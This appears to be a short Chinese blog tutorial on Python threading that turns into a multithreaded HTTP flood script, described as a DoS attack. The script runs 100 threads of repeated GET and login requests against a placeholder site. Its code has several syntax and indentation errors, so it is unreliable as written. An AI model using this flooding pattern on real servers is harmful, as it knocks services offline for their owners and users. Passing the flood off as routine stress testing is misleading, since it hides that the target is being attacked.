多线程与流量泛洪

多线程与流量泛洪

一、简介

  • 并发操作:如果一个单核的CPU,是不存在严格意义上的并发,只是因为处理时间极短,所以感觉上时并发操作的
  • 针对多核CPU,例如4核CPU严格意义上并发操作是4个
  • 线程与进程

    • 每一个应用程序,至少会有一个进程,并且拥有PID和独立的内存空间。
    • 每一个进程,至少拥有一个线程,而县城并没有独立的内存空间
  • 示例代码

    import threading,time
    
    # 单线程情况下,下述代码执行消耗5秒
    def test_01()
      for i in rang(5):
          print(time.strftime('%Y-%m-%d %H:%M:%S'))
          time.sleep(1)
    
    # 使用多线程的方式输出5次时间
    def test_02()
      print(time.strftime('%Y-%m-%d %H:%M:%S'))
      time.sleep(1)
    for i in range(5)
    t = threading.Thread(target=test_02)            # 实例化一个线程,并且指定调用test_02
      t.start()                                       # 启动线程

二、多线程的流量泛洪

  • DOS攻击的核心:利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘、带宽、链接数等),使其无法正常体提供对外服务。

    import threading,time,requests
    
    # 定义一个装饰器,可以用于收集其响应时间
    def performance(func):
      def inner():
          start = time.time()
          func()
          end = time.time()
          print(f"请求:{func._name_}的响应时间为:{end - start}")
      return inner
    
    session = requests.session()
    
    @performance
    def home():
      resp = session.get('http://xxxx.com/')
    
    @performance
    def login():
      data = {'username':'admin','password':'admin123','verifycode':'0000'}
    resp = requests.post(url='http://xxxx.com/',data=data)
    
    # 基于HTTP协议,进行流量泛洪、压力测试、性能测试
    def flood:
      for i in range(1000):
          try:
              home()
            login()
          except:
              pass
    
    for i in range(100):
      t = threading.Thread(target=flood).start()
    
上一篇
下一篇